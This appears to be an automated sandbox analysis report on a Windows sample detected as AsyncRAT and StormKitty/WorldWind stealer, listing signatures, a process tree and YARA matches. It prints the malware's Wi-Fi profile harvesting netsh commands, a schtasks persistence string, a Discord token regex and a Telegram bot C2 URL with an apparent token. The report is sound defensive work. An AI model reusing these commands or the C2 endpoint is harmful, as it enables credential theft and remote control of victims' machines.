Edit tour

Windows Analysis Report
JGvCEaqruI.exe

Overview

General Information

Sample name:	JGvCEaqruI.exe renamed because original name is a hash value
Original sample name:	5fe6e19d2d832aa15fbad4b015f118e0915ee904c4c0db8f58b9af90ce011513.exe
Analysis ID:	1588350
MD5:	fef7aab8bbb6e60534edc8db7aaff00a
SHA1:	399d65a862501cdcd32983425efc1a99b85f953e
SHA256:	5fe6e19d2d832aa15fbad4b015f118e0915ee904c4c0db8f58b9af90ce011513
Tags:	AsyncRATexeuser-adrian__luca
Infos:

Detection

AsyncRAT, StormKitty, WorldWind Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected AsyncRAT

Yara detected StormKitty Stealer

Yara detected Telegram RAT

Yara detected WorldWind Stealer

AI detected suspicious sample

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Uses netsh to modify the Windows network and firewall settings

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious desktop.ini Action

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

JGvCEaqruI.exe (PID: 6336 cmdline: "C:\Users\user\Desktop\JGvCEaqruI.exe" MD5: FEF7AAB8BBB6E60534EDC8DB7AAFF00A)

JGvCEaqruI.exe (PID: 7268 cmdline: "C:\Users\user\Desktop\JGvCEaqruI.exe" MD5: FEF7AAB8BBB6E60534EDC8DB7AAFF00A)

cmd.exe (PID: 7648 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7708 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

netsh.exe (PID: 7744 cmdline: netsh wlan show profile MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

findstr.exe (PID: 7752 cmdline: findstr All MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7804 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7852 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

netsh.exe (PID: 7868 cmdline: netsh wlan show networks mode=bssid MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage"}

Threatname: AsyncRAT

{"Server": "127.0.0.1", "Ports": "6606,7707,8808"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x28ee2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25463:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0xb7a43:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0xe3663:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x10f083:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x3478c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: JGvCEaqruI.exe PID: 6336	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: JGvCEaqruI.exe PID: 6336	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: JGvCEaqruI.exe PID: 6336	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: JGvCEaqruI.exe PID: 6336	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: JGvCEaqruI.exe PID: 6336	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: JGvCEaqruI.exe PID: 6336	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xe89dd:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: JGvCEaqruI.exe PID: 6336	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0xe74fb:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: JGvCEaqruI.exe PID: 7268	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
Process Memory Space: JGvCEaqruI.exe PID: 7268	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: JGvCEaqruI.exe PID: 7268	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: JGvCEaqruI.exe PID: 7268	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: JGvCEaqruI.exe PID: 7268	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: JGvCEaqruI.exe PID: 7268	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x53796:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: JGvCEaqruI.exe PID: 7268	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x522b4:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x78845:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.JGvCEaqruI.exe.464d3e0.3.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
1.2.JGvCEaqruI.exe.464d3e0.3.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
1.2.JGvCEaqruI.exe.464d3e0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.JGvCEaqruI.exe.464d3e0.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.JGvCEaqruI.exe.464d3e0.3.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x10183:$sk01: LimerBoy/StormKitty 0x269ce:$sk01: LimerBoy/StormKitty 0x1ba79:$str01: set_sUsername 0x1bbff:$str02: set_sIsSecure 0x1bcdd:$str03: set_sExpMonth 0x1a12c:$str04: WritePasswords 0x1abcb:$str05: WriteCookies 0x1be8d:$str06: sChromiumPswPaths 0x1be9f:$str07: sGeckoBrowserPaths 0x22ca1:$str08: Username: {1} 0x23e49:$str08: Username: {1} 0x22cbd:$str09: Password: {2} 0x23e65:$str09: Password: {2} 0x24f7f:$str10: encrypted_key":"(.*?)"
1.2.JGvCEaqruI.exe.464d3e0.3.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x1d6c9:$str01: get_ActivatePong 0x1d5ee:$str02: get_SslClient 0x1d5d2:$str03: get_TcpClient 0x1d690:$str04: get_SendSync 0x1d670:$str05: get_IsConnected 0x1c131:$str06: set_UseShellExecute 0x27478:$str07: Pastebin 0x2146b:$str08: Select * from AntivirusProduct 0x27352:$str10: timeout 3 > NUL 0x27250:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x272e0:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
1.2.JGvCEaqruI.exe.464d3e0.3.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x272e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
1.2.JGvCEaqruI.exe.464d3e0.3.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x23863:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
1.2.JGvCEaqruI.exe.464d3e0.3.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2593f:$s1: \VPN\NordVPN 0x25925:$s2: \VPN\OpenVPN 0x25907:$s3: \VPN\ProtonVPN
1.2.JGvCEaqruI.exe.464d3e0.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x2409b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x2410d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x24197:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x24229:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x24293:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x24305:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2439b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2442b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.JGvCEaqruI.exe.464d3e0.3.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x1018c:$x3: StormKitty 0x198ca:$s1: GetBSSID 0x197ca:$s2: GetAntivirus 0x24d4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x24f7d:$s6: "encrypted_key":"(.*?)"
8.2.JGvCEaqruI.exe.400000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
8.2.JGvCEaqruI.exe.400000.0.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
8.2.JGvCEaqruI.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.JGvCEaqruI.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.JGvCEaqruI.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
8.2.JGvCEaqruI.exe.400000.0.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x11f83:$sk01: LimerBoy/StormKitty 0x287ce:$sk01: LimerBoy/StormKitty 0x1d879:$str01: set_sUsername 0x1d9ff:$str02: set_sIsSecure 0x1dadd:$str03: set_sExpMonth 0x1bf2c:$str04: WritePasswords 0x1c9cb:$str05: WriteCookies 0x1dc8d:$str06: sChromiumPswPaths 0x1dc9f:$str07: sGeckoBrowserPaths 0x24aa1:$str08: Username: {1} 0x25c49:$str08: Username: {1} 0x24abd:$str09: Password: {2} 0x25c65:$str09: Password: {2} 0x26d7f:$str10: encrypted_key":"(.*?)"
8.2.JGvCEaqruI.exe.400000.0.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x1f4c9:$str01: get_ActivatePong 0x1f3ee:$str02: get_SslClient 0x1f3d2:$str03: get_TcpClient 0x1f490:$str04: get_SendSync 0x1f470:$str05: get_IsConnected 0x1df31:$str06: set_UseShellExecute 0x29278:$str07: Pastebin 0x2326b:$str08: Select * from AntivirusProduct 0x29152:$str10: timeout 3 > NUL 0x29050:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x290e0:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
8.2.JGvCEaqruI.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x290e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
8.2.JGvCEaqruI.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25663:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
8.2.JGvCEaqruI.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2773f:$s1: \VPN\NordVPN 0x27725:$s2: \VPN\OpenVPN 0x27707:$s3: \VPN\ProtonVPN
8.2.JGvCEaqruI.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x25e9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x25f0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x25f97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x26029:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x26093:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x26105:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2619b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2622b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
8.2.JGvCEaqruI.exe.400000.0.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x11f8c:$x3: StormKitty 0x1b6ca:$s1: GetBSSID 0x1b5ca:$s2: GetAntivirus 0x26b4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x26d7d:$s6: "encrypted_key":"(.*?)"
1.2.JGvCEaqruI.exe.4679000.6.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
1.2.JGvCEaqruI.exe.4679000.6.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
1.2.JGvCEaqruI.exe.4679000.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.JGvCEaqruI.exe.4679000.6.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.JGvCEaqruI.exe.4679000.6.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x10183:$sk01: LimerBoy/StormKitty 0x269ce:$sk01: LimerBoy/StormKitty 0x1ba79:$str01: set_sUsername 0x1bbff:$str02: set_sIsSecure 0x1bcdd:$str03: set_sExpMonth 0x1a12c:$str04: WritePasswords 0x1abcb:$str05: WriteCookies 0x1be8d:$str06: sChromiumPswPaths 0x1be9f:$str07: sGeckoBrowserPaths 0x22ca1:$str08: Username: {1} 0x23e49:$str08: Username: {1} 0x22cbd:$str09: Password: {2} 0x23e65:$str09: Password: {2} 0x24f7f:$str10: encrypted_key":"(.*?)"
1.2.JGvCEaqruI.exe.4679000.6.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x1d6c9:$str01: get_ActivatePong 0x1d5ee:$str02: get_SslClient 0x1d5d2:$str03: get_TcpClient 0x1d690:$str04: get_SendSync 0x1d670:$str05: get_IsConnected 0x1c131:$str06: set_UseShellExecute 0x27478:$str07: Pastebin 0x2146b:$str08: Select * from AntivirusProduct 0x27352:$str10: timeout 3 > NUL 0x27250:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x272e0:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
1.2.JGvCEaqruI.exe.4679000.6.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x272e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
1.2.JGvCEaqruI.exe.4679000.6.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x23863:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
1.2.JGvCEaqruI.exe.4679000.6.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2593f:$s1: \VPN\NordVPN 0x25925:$s2: \VPN\OpenVPN 0x25907:$s3: \VPN\ProtonVPN
1.2.JGvCEaqruI.exe.4679000.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x2409b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x2410d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x24197:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x24229:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x24293:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x24305:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2439b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2442b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.JGvCEaqruI.exe.4679000.6.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x1018c:$x3: StormKitty 0x198ca:$s1: GetBSSID 0x197ca:$s2: GetAntivirus 0x24d4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x24f7d:$s6: "encrypted_key":"(.*?)"
1.2.JGvCEaqruI.exe.4679000.6.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
1.2.JGvCEaqruI.exe.4679000.6.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
1.2.JGvCEaqruI.exe.4679000.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.JGvCEaqruI.exe.4679000.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.JGvCEaqruI.exe.4679000.6.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.JGvCEaqruI.exe.4679000.6.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x11f83:$sk01: LimerBoy/StormKitty 0x287ce:$sk01: LimerBoy/StormKitty 0x3d9a3:$sk01: LimerBoy/StormKitty 0x541ee:$sk01: LimerBoy/StormKitty 0x1d879:$str01: set_sUsername 0x49299:$str01: set_sUsername 0x1d9ff:$str02: set_sIsSecure 0x4941f:$str02: set_sIsSecure 0x1dadd:$str03: set_sExpMonth 0x494fd:$str03: set_sExpMonth 0x1bf2c:$str04: WritePasswords 0x4794c:$str04: WritePasswords 0x1c9cb:$str05: WriteCookies 0x483eb:$str05: WriteCookies 0x1dc8d:$str06: sChromiumPswPaths 0x496ad:$str06: sChromiumPswPaths 0x1dc9f:$str07: sGeckoBrowserPaths 0x496bf:$str07: sGeckoBrowserPaths 0x24aa1:$str08: Username: {1} 0x25c49:$str08: Username: {1} 0x504c1:$str08: Username: {1}
1.2.JGvCEaqruI.exe.4679000.6.raw.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x1f4c9:$str01: get_ActivatePong 0x4aee9:$str01: get_ActivatePong 0x1f3ee:$str02: get_SslClient 0x4ae0e:$str02: get_SslClient 0x1f3d2:$str03: get_TcpClient 0x4adf2:$str03: get_TcpClient 0x1f490:$str04: get_SendSync 0x4aeb0:$str04: get_SendSync 0x1f470:$str05: get_IsConnected 0x4ae90:$str05: get_IsConnected 0x1df31:$str06: set_UseShellExecute 0x49951:$str06: set_UseShellExecute 0x29278:$str07: Pastebin 0x54c98:$str07: Pastebin 0x2326b:$str08: Select * from AntivirusProduct 0x4ec8b:$str08: Select * from AntivirusProduct 0x29152:$str10: timeout 3 > NUL 0x54b72:$str10: timeout 3 > NUL 0x29050:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x54a70:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x290e0:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
1.2.JGvCEaqruI.exe.4679000.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x290e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x54b02:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
1.2.JGvCEaqruI.exe.4679000.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25663:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x51083:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
1.2.JGvCEaqruI.exe.4679000.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2773f:$s1: \VPN\NordVPN 0x5315f:$s1: \VPN\NordVPN 0x27725:$s2: \VPN\OpenVPN 0x53145:$s2: \VPN\OpenVPN 0x27707:$s3: \VPN\ProtonVPN 0x53127:$s3: \VPN\ProtonVPN
1.2.JGvCEaqruI.exe.4679000.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x25e9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x518bb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x25f0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x5192d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x25f97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x519b7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x26029:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x51a49:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x26093:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x51ab3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x26105:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x51b25:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2619b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x51bbb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2622b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x51c4b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.JGvCEaqruI.exe.4679000.6.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x11f8c:$x3: StormKitty 0x3d9ac:$x3: StormKitty 0x1b6ca:$s1: GetBSSID 0x470ea:$s1: GetBSSID 0x1b5ca:$s2: GetAntivirus 0x46fea:$s2: GetAntivirus 0x26b4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x5256b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x26d7d:$s6: "encrypted_key":"(.?)" 0x5279d:$s6: "encrypted_key":"(.?)"
1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
